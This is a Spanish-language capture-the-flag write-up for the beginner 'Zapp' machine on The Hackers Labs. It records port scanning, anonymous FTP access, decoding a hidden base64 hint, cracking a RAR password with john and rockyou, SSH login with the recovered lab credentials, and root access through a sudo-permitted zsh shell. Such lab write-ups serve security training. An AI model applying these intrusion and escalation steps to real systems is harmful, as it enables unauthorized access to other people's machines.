Zapp
Plataforma: The Hackers Labs
Dificultad: Principiante
🔗 Link de la máquina: https://labs.thehackerslabs.com

Reconocimiento
Realizamos un escaneo de puertos con Nmap para identificar los servicios activos en la máquina objetivo.
sudo nmap -p- --open -sS -sCV --min-rate 5000 -Pn -n -oN zapp.txt 192.168.100.7
Starting Nmap 7.98 ( https://nmap.org ) at 2025-11-15 13:16 -0300
Nmap scan report for 192.168.100.7
Host is up (0.00076s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:192.168.100.4
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 4
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r-- 1 0 0 28 Oct 29 20:59 login.txt
|_-rw-r--r-- 1 0 0 65 Oct 29 21:23 secret.txt
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u5 (protocol 2.0)
| ssh-hostkey:
| 3072 a3:23:b3:aa:df:c6:51:cb:a2:0c:92:8e:6b:fe:96:ee (RSA)
| 256 fd:95:2f:2f:7f:5a:21:b5:0e:75:2c:da:18:c9:52:35 (ECDSA)
|_ 256 a1:0e:0d:79:8e:54:3e:0e:ed:2f:96:d6:d3:9a:9f:a6 (ED25519)
80/tcp open http Apache httpd 2.4.65 ((Debian))
|_http-title: zappskred - CTF Challenge
|_http-server-header: Apache/2.4.65 (Debian)
MAC Address: 08:00:27:99:A0:2E (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.38 seconds
Detalles del comando:
-p-: Escaneo de todos los puertos.--open: Muestra solo puertos abiertos.-sS: Escaneo SYN para determinar el estado de los puertos.-sCV: Usa scripts por defecto y detectar versiones de servicios.--min-rate 5000: Establece un ritmo mínimo de escaneo.-n: Desactiva la resolución DNS.-Pn: Omite la detección de hosts activos.-oN zapp.txt: Guarda los resultados en el archivo “zapp.txt”.
Puertos descubiertos:
- 21/tcp - FTP (vsftpd 3.0.3) — login anónimo habilitado con dos archivos:
login.txtysecret.txt - 22/tcp - SSH (OpenSSH 8.4p1)
- 80/tcp - HTTP (Apache 2.4.65) — título: “zappskred - CTF Challenge”
Enumeración FTP
El escaneo revela que el FTP permite login anónimo y expone dos archivos. Los descargamos:
ftp 192.168.100.7
Name: anonymous
Password: (vacío)
get login.txt
get secret.txt
login.txt:
coffee
4444
secret.txt:
la pista está en la taza
login.txtcontiene dos pistas:coffee(referencia temática al café) y4444(número de capas de decodificación base64).secret.txtindica: “la pista está en la taza” — nos dirige a buscar en la página web (la taza de café).
Exploración Web
Accedemos al puerto 80 en http://192.168.100.7/.

La página muestra un troll face con el texto “CTF Challenge” — claramente un señuelo visual. Sin embargo, inspeccionamos el código fuente de la página buscando información oculta.
Análisis del Código Fuente
Dado que la página visualmente no muestra nada útil, inspeccionamos el código fuente en busca de cualquier información que pudiera servir como usuario, contraseña o pista. Durante esta revisión encontramos que el <title> de la página contiene un nombre que no aparece en ningún lugar visible:
<title>zappskred - CTF Challenge</title>
Tras probar distintos posibles usuarios, zappskred resultó ser un usuario válido del sistema. Lo anotamos para usarlo más adelante.
Además, encontramos un elemento <div> oculto mediante CSS:
<div style="display:none">4444 VjFST1YyRkhVa2xUYmxwYVRURmFiMXBGYUV0a2JWSjBWbTF3WVZkRk1VeERaejA5Q2c9PQo=</div>
El div contiene dos valores:
4444: confirma la pista delogin.txt— indica el número de veces que hay que decodificar en base64.VjFST1YyRkhVa2xUYmxwYVRURmFiMXBGYUV0a2JWSjBWbTF3WVZkRk1VeERaejA5Q2c9PQo=: string codificado en base64.
Decodificación Base64
Usando CyberChef aplicamos 4 capas de decodificación Base64 consecutivas sobre el string:
Capa 1: VjFST1YyRkhVa2xUYmxwYVRURmFiMXBGYUV0a2JWSjBWbTF3WVZkRk1VeERaejA5Q2c9PQo=
Capa 2: V1ROV2RHRkhlbG5hVjBwV1ZsVjBiRkpXZW1oSlZtMTBkR1JzV25wUVZEZz0K
Capa 3: WTNWdGFHeHZZMXBWVlUwbFJXZmhJVm10MGRGUnNXbnBQVlRnPQo=
Capa 4: Y3VhdHJvY3VhdHJvdmVjZXMK
Resultado: cuatrocuatroveces

El resultado decodificado es cuatrocuatroveces — no es una contraseña, sino la ruta a un directorio oculto en el servidor web.
Directorio Oculto
Navegamos a http://192.168.100.7/cuatrocuatroveces/:

El Apache directory listing expone un archivo: Sup3rP4ss.rar (174 bytes). Lo descargamos:
wget http://192.168.100.7/cuatrocuatroveces/Sup3rP4ss.rar
Cracking del RAR
El archivo está protegido con contraseña. Extraemos el hash con rar2john y lo crackeamos con john:
rar2john Sup3rP4ss.rar > hash.txt
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (RAR5 [PBKDF2-SHA256 256/256 AVX2 8x])
Cost 1 (iteration count) is 32768 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
reema (Sup3rP4ss.rar)
1g 0:00:01:49 DONE (2025-11-15 13:41) 0.009097g/s 768.5p/s 768.5c/s 768.5C/s
Session completed.
Contraseña encontrada: reema. Extraemos el contenido:
unrar x Sup3rP4ss.rar
Enter password (will not be echoed) for Sup3rP4ss.txt:
Extracting Sup3rP4ss.txt OK
All OK
cat Sup3rP4ss.txt
Intenta probar con más >> 3spuM4
El archivo revela la contraseña SSH: 3spuM4.
Acceso Inicial
Con el usuario zappskred (del título de la página web) y la contraseña 3spuM4 (del RAR), nos conectamos por SSH:
ssh zappskred@192.168.100.7
zappskred@192.168.100.7's password: 3spuM4

Acceso obtenido como usuario zappskred. Leemos la flag de usuario:
cat user.txt
ZWwgbWVqb3IgY2FmZQo=

Escalada de Privilegios
Enumeración sudo
Verificamos los permisos sudo del usuario zappskred:
sudo -l
Matching Defaults entries for zappskred on TheHackersLabs-ZAPP:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User zappskred may run the following commands on TheHackersLabs-ZAPP:
(root) /bin/zsh
El usuario puede ejecutar /bin/zsh como root. Dado que zsh es una shell interactiva, ejecutarla con sudo nos otorga una shell de root directamente:
sudo /bin/zsh
# id
uid=0(root) gid=0(root) groups=0(root)

Leemos la flag de root:
cat /root/root.txt
c2llbXByZSBlcyBudWVzdHJvSHJvCg==

¡Root conseguido!
Hemos completado exitosamente la máquina Zapp de The Hackers Labs.
Colaboradores
Este writeup fue elaborado en colaboración con:
- varovish89
- Blog: varovish.com
Agradecimiento especial por el trabajo conjunto en la resolución de esta máquina.